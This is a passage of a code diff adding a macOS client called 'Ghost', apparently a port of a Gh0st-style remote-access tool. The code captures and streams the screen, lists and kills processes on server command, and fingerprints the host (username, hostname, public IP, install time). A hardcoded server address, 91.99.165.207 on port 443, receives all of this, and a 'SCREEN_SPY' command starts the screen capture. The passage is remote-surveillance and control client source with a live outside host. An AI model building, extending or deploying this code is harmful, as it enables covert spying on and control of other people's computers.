uint8_t* diffData = data + headerSize;
uint32_t diffLen = compareBitmap(m_currFrame.data(), m_prevFrame.data(),
diffData, m_bmpHeader.biSizeImage, algo);
uint32_t totalLen = 1 + headerSize + diffLen;
m_client->Send2Server((char*)out, totalLen);
// Update previous frame
std::swap(m_prevFrame, m_currFrame);
}
void ScreenHandler::sendH264Frame(bool keyframe)
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
// Initialize encoder if needed
if (!m_h264Encoder) {
m_h264Encoder = std::make_unique<H264Encoder>();
int fps = m_maxFPS.load();
if (fps <= 0) fps = 30;
if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) {
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
m_h264Encoder.reset();
return;
}
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps);
}
// Force keyframe if requested
if (keyframe) {
m_h264Encoder->forceKeyframe();
}
// Encode frame
uint8_t* encodedData = nullptr;
uint32_t encodedSize = 0;
uint32_t stride = m_width * 4;
int result = m_h264Encoder->encode(
m_currFrame.data(),
32, // bpp
stride,
m_width,
m_height,
&encodedData,
&encodedSize,
false // Don't flip - keep bottom-up format like Windows client
);
if (result <= 0 || !encodedData || encodedSize == 0) {
return;
}
// Build packet: [TOKEN_NEXTSCREEN][ALGORITHM_H264][CursorX][CursorY][CursorType][H264Data]
// Note: H264 always uses TOKEN_NEXTSCREEN because:
// - Server's TOKEN_KEYFRAME handler does nothing for H264 (just break)
// - Server's TOKEN_NEXTSCREEN handler calls Decode() for H264
// - H264 encoder manages keyframes (I-frames) internally
// - FFmpeg decoder auto-detects I-frames vs P-frames
uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
std::vector<uint8_t> packet(headerSize + encodedSize);
packet[0] = TOKEN_NEXTSCREEN;
packet[1] = ALGORITHM_H264;
// Cursor position
int32_t cursorX, cursorY;
getCursorPosition(cursorX, cursorY);
memcpy(&packet[2], &cursorX, sizeof(int32_t));
memcpy(&packet[2 + sizeof(int32_t)], &cursorY, sizeof(int32_t));
// Cursor type
packet[2 + 2 * sizeof(int32_t)] = getCursorTypeIndex();
// H264 data
memcpy(&packet[headerSize], encodedData, encodedSize);
m_client->Send2Server((char*)packet.data(), packet.size());
}
uint32_t ScreenHandler::compareBitmap(const uint8_t* curr, const uint8_t* prev,
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo)
{
const uint32_t bytesPerPixel = 4;
const uint32_t totalPixels = totalBytes / bytesPerPixel;
const uint32_t gapThreshold = 8;
const uint32_t ratio = (algo == ALGORITHM_GRAY || algo == ALGORITHM_RGB565) ? 4 : 1;
uint32_t outOffset = 0;
uint32_t i = 0;
while (i < totalPixels) {
// Skip identical pixels
while (i < totalPixels &&
*(uint32_t*)(curr + i * 4) == *(uint32_t*)(prev + i * 4)) {
i++;
}
if (i >= totalPixels) break;
uint32_t start = i;
uint32_t lastDiff = i;
while (i < totalPixels) {
if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) {
lastDiff = i;
} else if (i - lastDiff > gapThreshold) {
break;
}
i++;
}
uint32_t end = lastDiff + 1;
uint32_t count = end - start;
uint32_t byteOffset = start * bytesPerPixel;
uint32_t byteCount = count * bytesPerPixel;
// Write byteOffset
memcpy(outBuf + outOffset, &byteOffset, sizeof(uint32_t));
outOffset += sizeof(uint32_t);
// Write length
uint32_t lengthField = byteCount / ratio;
memcpy(outBuf + outOffset, &lengthField, sizeof(uint32_t));
outOffset += sizeof(uint32_t);
// Write pixel data
const uint8_t* srcData = curr + byteOffset;
if (algo == ALGORITHM_RGB565) {
convertBGRAtoRGB565(srcData, (uint16_t*)(outBuf + outOffset), count);
outOffset += count * 2;
} else if (algo == ALGORITHM_GRAY) {
convertBGRAtoGray(srcData, outBuf + outOffset, count);
outOffset += count;
} else {
memcpy(outBuf + outOffset, srcData, byteCount);
outOffset += byteCount;
}
}
return outOffset;
}
void ScreenHandler::convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount)
{
for (uint32_t i = 0; i < pixelCount; i++) {
uint8_t b = src[i * 4 + 0];
uint8_t g = src[i * 4 + 1];
uint8_t r = src[i * 4 + 2];
dst[i] = (uint8_t)((306 * r + 601 * g + 117 * b) >> 10);
}
}
void ScreenHandler::convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount)
{
for (uint32_t i = 0; i < pixelCount; i++) {
uint8_t b = src[i * 4 + 0];
uint8_t g = src[i * 4 + 1];
uint8_t r = src[i * 4 + 2];
uint16_t r5 = (r >> 3) & 0x1F;
uint16_t g6 = (g >> 2) & 0x3F;
uint16_t b5 = (b >> 3) & 0x1F;
dst[i] = (r5 << 11) | (g6 << 5) | b5;
}
}
uint64_t ScreenHandler::getTickMs()
{
static mach_timebase_info_data_t timebase = {0, 0};
if (timebase.denom == 0) {
mach_timebase_info(&timebase);
}
uint64_t now = mach_absolute_time();
return (now * timebase.numer / timebase.denom) / 1000000;
}
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
static CGPoint s_cachedLogicalPos = {0, 0};
void ScreenHandler::getCursorPosition(int32_t& x, int32_t& y)
{
// Get cursor position in logical (point) coordinates
CGEventRef event = CGEventCreate(nullptr);
s_cachedLogicalPos = CGEventGetLocation(event);
CFRelease(event);
// Convert to physical pixel coordinates (for Retina displays)
x = (int32_t)(s_cachedLogicalPos.x * m_scaleFactor);
y = (int32_t)(s_cachedLogicalPos.y * m_scaleFactor);
// Clamp to screen bounds
if (x < 0) x = 0;
if (y < 0) y = 0;
if (x >= m_width) x = m_width - 1;
if (y >= m_height) y = m_height - 1;
}
uint8_t ScreenHandler::getCursorTypeIndex()
{
// Windows cursor type indices (from CursorInfo.h):
// 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
// 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
// 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
// 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
// NSCursor.currentSystemCursor doesn't work for background daemons.
// Use Accessibility API to infer cursor type from the UI element under cursor.
// Throttle to avoid performance impact (check every 100ms)
static uint8_t cachedIndex = 1;
static uint64_t lastCheckTime = 0;
static CGPoint lastPos = {-1, -1};
// Reuse cursor position from getCursorPosition (called before this)
CGPoint pos = s_cachedLogicalPos;
// Throttle: only check if cursor moved significantly or 100ms elapsed
uint64_t now = getTickMs();
bool posChanged = (fabs(pos.x - lastPos.x) > 5 || fabs(pos.y - lastPos.y) > 5);
if (!posChanged && (now - lastCheckTime) < 100) {
return cachedIndex;
}
lastCheckTime = now;
lastPos = pos;
uint8_t index = 1; // Default to arrow
// Get the UI element at cursor position using Accessibility API
AXUIElementRef systemWide = AXUIElementCreateSystemWide();
AXUIElementRef element = nullptr;
AXError err = AXUIElementCopyElementAtPosition(systemWide, (float)pos.x, (float)pos.y, &element);
CFRelease(systemWide);
if (err == kAXErrorSuccess && element) {
// Get the role of the element
CFTypeRef roleRef = nullptr;
if (AXUIElementCopyAttributeValue(element, kAXRoleAttribute, &roleRef) == kAXErrorSuccess && roleRef) {
NSString* role = (__bridge NSString*)roleRef;
// Map UI element roles to cursor types
if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
[role isEqualToString:NSAccessibilityTextAreaRole] ||
[role isEqualToString:NSAccessibilityStaticTextRole] ||
[role isEqualToString:@"AXWebArea"]) {
// Check if text is editable
CFTypeRef editableRef = nullptr;
if (AXUIElementCopyAttributeValue(element, CFSTR("AXEditable"), &editableRef) == kAXErrorSuccess) {
if (editableRef && CFBooleanGetValue((CFBooleanRef)editableRef)) {
index = 5; // IDC_IBEAM for editable text
}
if (editableRef) CFRelease(editableRef);
} else if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
[role isEqualToString:NSAccessibilityTextAreaRole]) {
index = 5; // IDC_IBEAM for text input fields
}
} else if ([role isEqualToString:NSAccessibilityLinkRole] ||
[role isEqualToString:@"AXLink"]) {
index = 3; // IDC_HAND for links
} else if ([role isEqualToString:NSAccessibilityButtonRole]) {
index = 3; // IDC_HAND for buttons (clickable)
} else if ([role isEqualToString:NSAccessibilitySplitterRole] ||
[role isEqualToString:@"AXSplitGroup"]) {
// Check orientation for resize cursor
CFTypeRef orientRef = nullptr;
if (AXUIElementCopyAttributeValue(element, CFSTR("AXOrientation"), &orientRef) == kAXErrorSuccess && orientRef) {
NSString* orient = (__bridge NSString*)orientRef;
if ([orient isEqualToString:@"AXHorizontalOrientation"]) {
index = 11; // IDC_SIZENS (vertical resize)
} else {
index = 13; // IDC_SIZEWE (horizontal resize)
}
CFRelease(orientRef);
} else {
index = 13; // IDC_SIZEWE default for splitters
}
} else if ([role isEqualToString:NSAccessibilityGrowAreaRole]) {
index = 12; // IDC_SIZENWSE for resize corners
}
CFRelease(roleRef);
}
CFRelease(element);
}
// Cache the result
cachedIndex = index;
return index;
}
void ScreenHandler::captureLoop()
{
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height);
uint8_t currentAlgo = m_algorithm.load();
// Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
// This matches Windows client behavior: first frame is always raw bitmap,
// even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE.
sendFirstScreen();
// Small delay to ensure first frame is processed before H264 stream starts
usleep(50000); // 50ms, same as Windows client
while (m_running) {
uint64_t start = getTickMs();
uint8_t algo = m_algorithm.load();
// Check if algorithm changed
if (algo != currentAlgo) {
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
currentAlgo = algo;
// If switching to/from H264, reset encoder
if (algo == ALGORITHM_H264) {
// Starting H264 - will be initialized in sendH264Frame
sendH264Frame(true); // First H264 frame is keyframe
} else if (m_h264Encoder) {
// Switching away from H264 - close encoder
m_h264Encoder->close();
m_h264Encoder.reset();
sendFirstScreen(); // Send full frame for DIFF modes
}
} else {
// Normal frame
if (algo == ALGORITHM_H264) {
sendH264Frame(false);
} else {
sendDiffFrame();
}
}
int fps = m_maxFPS.load();
if (fps <= 0) fps = 10;
int sleepMs = 1000 / fps;
int elapsed = (int)(getTickMs() - start);
int wait = sleepMs - elapsed;
if (wait > 0) {
usleep(wait * 1000);
}
}
NSLog(@"ScreenHandler CaptureLoop stopped");
}

40
macos/SystemManager.h Normal file
View File

@@ -0,0 +1,40 @@
#pragma once
#include <cstdint>
#include <vector>
#include <string>
// Forward declaration
class IOCPClient;
class SystemManager {
public:
SystemManager(IOCPClient* client, uint64_t clientID);
~SystemManager();
// Handle commands from server
void onReceive(const uint8_t* data, size_t size);
private:
// Send process list to server
void sendProcessList();
// Kill processes by PID
void killProcesses(const uint8_t* data, size_t size);
// Send window list (limited on macOS without accessibility)
void sendWindowsList();
// Get process name by PID
static std::string getProcessName(pid_t pid);
// Get process executable path by PID
static std::string getProcessPath(pid_t pid);
// Get all running PIDs
static std::vector<pid_t> getAllPids();
private:
IOCPClient* m_client;
uint64_t m_clientID;
};

201
macos/SystemManager.mm Normal file
View File

@@ -0,0 +1,201 @@
#import "SystemManager.h"
#import "../client/IOCPClient.h"
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <libproc.h>
#import <signal.h>
#import <unistd.h>
SystemManager::SystemManager(IOCPClient* client, uint64_t clientID)
: m_client(client)
, m_clientID(clientID)
{
// Send initial process list on connection
sendProcessList();
}
SystemManager::~SystemManager()
{
}
void SystemManager::onReceive(const uint8_t* data, size_t size)
{
if (!data || size == 0) return;
switch (data[0]) {
case COMMAND_PSLIST:
sendProcessList();
break;
case COMMAND_KILLPROCESS:
if (size > 1) {
killProcesses(data + 1, size - 1);
// Refresh list after kill
usleep(100000); // 100ms wait
sendProcessList();
}
break;
case COMMAND_WSLIST:
sendWindowsList();
break;
default:
NSLog(@"SystemManager: Unknown command: %d", (int)data[0]);
break;
}
}
std::vector<pid_t> SystemManager::getAllPids()
{
std::vector<pid_t> pids;
// Get number of processes
int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
if (count <= 0) return pids;
// Allocate buffer for PIDs
std::vector<pid_t> buffer(count * 2); // Extra space for new processes
count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t)));
if (count <= 0) return pids;
int numPids = count / sizeof(pid_t);
for (int i = 0; i < numPids; i++) {
if (buffer[i] > 0) {
pids.push_back(buffer[i]);
}
}
return pids;
}
std::string SystemManager::getProcessName(pid_t pid)
{
char name[PROC_PIDPATHINFO_MAXSIZE];
memset(name, 0, sizeof(name));
struct proc_bsdinfo info;
if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &info, sizeof(info)) > 0) {
return std::string(info.pbi_name);
}
return "";
}
std::string SystemManager::getProcessPath(pid_t pid)
{
char path[PROC_PIDPATHINFO_MAXSIZE];
memset(path, 0, sizeof(path));
if (proc_pidpath(pid, path, sizeof(path)) > 0) {
return std::string(path);
}
return "";
}
void SystemManager::sendProcessList()
{
if (!m_client) return;
std::vector<uint8_t> buf;
buf.reserve(64 * 1024);
// Token header
buf.push_back(TOKEN_PSLIST);
// Architecture string
#if defined(__arm64__) || defined(__aarch64__)
const char* arch = "arm64";
#else
const char* arch = "x64";
#endif
std::vector<pid_t> pids = getAllPids();
for (pid_t pid : pids) {
if (pid <= 0) continue;
std::string name = getProcessName(pid);
if (name.empty()) continue;
std::string path = getProcessPath(pid);
if (path.empty()) {
path = "[" + name + "]";
}
// Format: "processname:arch"
std::string exeFile = name + ":" + arch;
// Write PID (4 bytes, DWORD)
uint32_t dwPid = (uint32_t)pid;
const uint8_t* p = (const uint8_t*)&dwPid;
buf.insert(buf.end(), p, p + sizeof(uint32_t));
// Write exeFile (null-terminated)
buf.insert(buf.end(), exeFile.begin(), exeFile.end());
buf.push_back(0);
// Write fullPath (null-terminated)
buf.insert(buf.end(), path.begin(), path.end());
buf.push_back(0);
}
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes",
buf.size(), pids.size());
}
void SystemManager::killProcesses(const uint8_t* data, size_t size)
{
// Each PID is 4 bytes (DWORD)
for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) {
uint32_t dwPid = *(uint32_t*)(data + i);
pid_t pid = (pid_t)dwPid;
// Don't allow killing kernel/launchd
if (pid <= 1) continue;
// Don't allow killing ourselves
if (pid == getpid()) continue;
int ret = kill(pid, SIGKILL);
NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret);
}
}
void SystemManager::sendWindowsList()
{
if (!m_client) return;
std::vector<uint8_t> buf;
buf.push_back(TOKEN_WSLIST);
// Get list of running applications
NSArray<NSRunningApplication*>* apps = [[NSWorkspace sharedWorkspace] runningApplications];
for (NSRunningApplication* app in apps) {
// Only include apps with windows
if (app.activationPolicy != NSApplicationActivationPolicyRegular) {
continue;
}
NSString* name = app.localizedName;
if (!name) continue;
pid_t pid = app.processIdentifier;
// Write window handle (use PID as pseudo-handle)
uint64_t hwnd = (uint64_t)pid;
const uint8_t* p = (const uint8_t*)&hwnd;
buf.insert(buf.end(), p, p + sizeof(uint64_t));
// Write window title (null-terminated)
const char* utf8Name = [name UTF8String];
buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name));
buf.push_back(0);
}
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size());
}

47
macos/build.sh Normal file
View File

@@ -0,0 +1,47 @@
#!/bin/bash
# macOS Ghost Client Build Script
# Usage: ./build.sh
set -e
echo "=== macOS Ghost Client Build ==="
echo ""
# Check for Xcode Command Line Tools
if ! command -v clang &> /dev/null; then
echo "Error: Xcode Command Line Tools not installed"
echo "Run: xcode-select --install"
exit 1
fi
# Check for CMake
if ! command -v cmake &> /dev/null; then
echo "Error: CMake not installed"
echo "Install with: brew install cmake"
exit 1
fi
# Create build directory
mkdir -p build
cd build
# Configure
echo "Configuring..."
cmake .. -DCMAKE_BUILD_TYPE=Release
# Build
echo ""
echo "Building..."
cmake --build . --config Release -j$(sysctl -n hw.ncpu)
# Done
echo ""
echo "=== Build Complete ==="
echo "Executable: build/bin/ghost"
echo ""
echo "To run:"
echo " ./bin/ghost [server_ip] [port]"
echo ""
echo "Example:"
echo " ./bin/ghost 192.168.0.55 6543"

BIN
macos/lib/libzstd.a Normal file

Binary file not shown.

555
macos/main.mm Normal file
View File

@@ -0,0 +1,555 @@
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <mach/mach.h>
#import <mach-o/dyld.h>
#import <pwd.h>
#import <signal.h>
#import <unistd.h>
#import <IOKit/IOKitLib.h>
#import <fstream>
#import <thread>
#import <atomic>
#import <memory>
#import <string>
#import "../client/IOCPClient.h"
#define XXH_INLINE_ALL
#include "../common/xxhash.h"
#import "Permissions.h"
#import "ScreenHandler.h"
#import "InputHandler.h"
#import "SystemManager.h"
// Global state
static std::atomic<bool> g_running(true);
// Client ID (calculated from system info, used by ScreenHandler)
uint64_t g_myClientID = 0;
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
State g_bExit = S_CLIENT_NORMAL;
// ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
static std::string getMacOSVersion()
{
NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
(long)version.majorVersion,
(long)version.minorVersion,
(long)version.patchVersion];
return std::string([versionString UTF8String]);
}
// Get hostname
static std::string getHostname()
{
char hostname[256] = {};
gethostname(hostname, sizeof(hostname));
return std::string(hostname);
}
// Get CPU model and frequency
static std::string getCPUInfo()
{
char buf[256] = {};
size_t size = sizeof(buf);
if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
return std::string(buf);
}
return "Unknown CPU";
}
// Get CPU frequency in MHz
static int getCPUFrequencyMHz()
{
uint64_t freq = 0;
size_t size = sizeof(freq);
if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
return (int)(freq / 1000000);
}
return 0;
}
// Get number of CPU cores
static int getCPUCores()
{
int cores = 0;
size_t size = sizeof(cores);
if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
return cores;
}
return 1;
}
// Get total physical memory in GB
static double getMemoryGB()
{
int64_t memSize = 0;
size_t size = sizeof(memSize);
if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
return (double)memSize / (1024.0 * 1024.0 * 1024.0);
}
return 0;
}
// Get current username
static std::string getUsername()
{
struct passwd* pw = getpwuid(getuid());
if (pw && pw->pw_name) {
return std::string(pw->pw_name);
}
const char* user = getenv("USER");
return user ? std::string(user) : "unknown";
}
// Get screen resolution
static std::string getScreenResolution()
{
NSScreen* mainScreen = [NSScreen mainScreen];
if (mainScreen) {
NSRect frame = [mainScreen frame];
return [NSString stringWithFormat:@"1:%dx%d",
(int)frame.size.width, (int)frame.size.height].UTF8String;
}
return "0:0x0";
}
// Get executable path
static std::string getExecutablePath()
{
char path[PATH_MAX];
uint32_t size = sizeof(path);
if (_NSGetExecutablePath(path, &size) == 0) {
return std::string(path);
}
return "";
}
// Get current time string (Beijing time, UTC+8)
static std::string getTimeString()
{
NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
NSString* dateString = [formatter stringFromDate:[NSDate date]];
return std::string([dateString UTF8String]);
}
// Get active application name
static std::string getActiveApp()
{
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (app) {
NSString* name = [app localizedName];
if (name) {
return std::string([name UTF8String]);
}
}
return "";
}
// ============== Check if camera exists ==============
static bool hasCameraDevice()
{
// Most MacBooks have built-in FaceTime camera
// Check model identifier to determine if it's a MacBook
char model[256] = {};
size_t size = sizeof(model);
if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
std::string modelStr(model);
// MacBooks (Air/Pro) always have cameras
if (modelStr.find("MacBook") != std::string::npos) {
return true;
}
// iMac also has camera
if (modelStr.find("iMac") != std::string::npos) {
return true;
}
}
// Mac Mini and Mac Pro typically don't have built-in cameras
return false;
}
// ============== Public IP ==============
// Execute command and return output
static std::string execCmd(const std::string& cmd)
{
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
if (!pipe) return "";
char buf[4096];
std::string result;
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
// Trim trailing whitespace
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET using curl (macOS has curl built-in)
static std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
}
// Get public IP (try multiple sources)
static std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
// Validate: non-empty, contains dot, reasonable length
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
return ip;
}
}
NSLog(@"getPublicIP: all sources failed");
return "";
}
// ============== Install Time (persistent storage) ==============
static std::string getInstallTime()
{
@autoreleasepool {
NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
if (installTime == nil || [installTime length] == 0) {
// First run - record current time as install time
std::string currentTime = getTimeString();
installTime = [NSString stringWithUTF8String:currentTime.c_str()];
[defaults setObject:installTime forKey:@"ghost_install_time"];
[defaults synchronize];
NSLog(@"First run - recorded install time: %@", installTime);
}
return std::string([installTime UTF8String]);
}
}
// ============== Fill LOGIN_INFOR ==============
static void fillLoginInfo(LOGIN_INFOR& info)
{
// Token is set in constructor
info.bToken = TOKEN_LOGIN;
// OS Version
std::string osVer = getMacOSVersion();
strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
// CPU MHz
info.dwCPUMHz = getCPUFrequencyMHz();
// PC Name (hostname)
std::string hostname = getHostname();
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
// Webcam
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
// Start time (current session start)
std::string startTime = getTimeString();
strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
// Reserved fields (pipe-separated, must match Windows client order)
// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
// 1. Client type (use GetClientType for consistency with Windows client)
info.AddReserved(GetClientType(CLIENT_TYPE_MACOS));
// 2. System bits (OS bits, always 64 on modern macOS)
info.AddReserved(64);
// 3. CPU cores
info.AddReserved(getCPUCores());
// 4. Memory (GB)
info.AddReserved(getMemoryGB());
// 5. File path (executable path)
std::string exePath = getExecutablePath();
info.AddReserved(exePath.c_str());
// 6. Placeholder
info.AddReserved("?");
// 7. Install time (first run time, persistent)
std::string installTime = getInstallTime();
info.AddReserved(installTime.c_str());
// 8. Active window / Start time (initial value is start time, updated via heartbeat)
info.AddReserved(startTime.c_str());
// 9. Program bits (always 64 on modern macOS)
info.AddReserved(64);
// 10. Authorization info (placeholder)
info.AddReserved("");
// 11. Location (placeholder, could add GeoIP later)
info.AddReserved("");
// 12. Public IP
std::string pubIP = getPublicIP();
info.AddReserved(pubIP.c_str());
// 13. Version
info.AddReserved("1.0.0");
// 14. Current username
std::string username = getUsername();
info.AddReserved(username.c_str());
// 15. Is running as root
info.AddReserved(getuid() == 0 ? 1 : 0);
// 16. Screen resolution (format: count:widthxheight)
std::string resolution = getScreenResolution();
info.AddReserved(resolution.c_str());
// 17. Client ID (calculated from system info, same algorithm as server)
// Format: pubIP|hostname|os|cpu|path
char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
hostname + "|" +
osVer + "|" +
cpuStr + "|" +
exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
info.AddReserved(std::to_string(g_myClientID).c_str());
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
}
// ============== Signal Handling ==============
static void signalHandler(int sig)
{
NSLog(@"Received signal %d, shutting down...", sig);
g_running = false;
}
static void setupSignals()
{
signal(SIGTERM, signalHandler);
signal(SIGINT, signalHandler);
signal(SIGHUP, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
}
// ============== Main Entry Point ==============
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒
if (rtt_ms <= 0 || rtt_ms > 30000)
return;
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
void* ScreenworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
if (!handler->init()) {
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
return NULL;
}
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
handler->sendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
}
return NULL;
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
return TRUE;
if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
g_running = false; // Stop main loop to prevent reconnection
} else if (szBuffer[0] == COMMAND_SHELL) {
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SYSTEM) {
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
uint64_t now = GetUnixMs();
double rtt_ms = (double)(now - ack->Time);
g_rttEstimator.update_from_sample(rtt_ms);
// Log at most once per minute
static uint64_t lastLogTime = 0;
if (now - lastLogTime >= 60000) {
lastLogTime = now;
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
user, rtt_ms, g_rttEstimator.srtt * 1000);
}
}
} else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1;
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
MasterSettings settings = {};
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
}
} else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
return TRUE;
}
int main(int argc, const char* argv[])
{
(void)argc;
(void)argv;
@autoreleasepool {
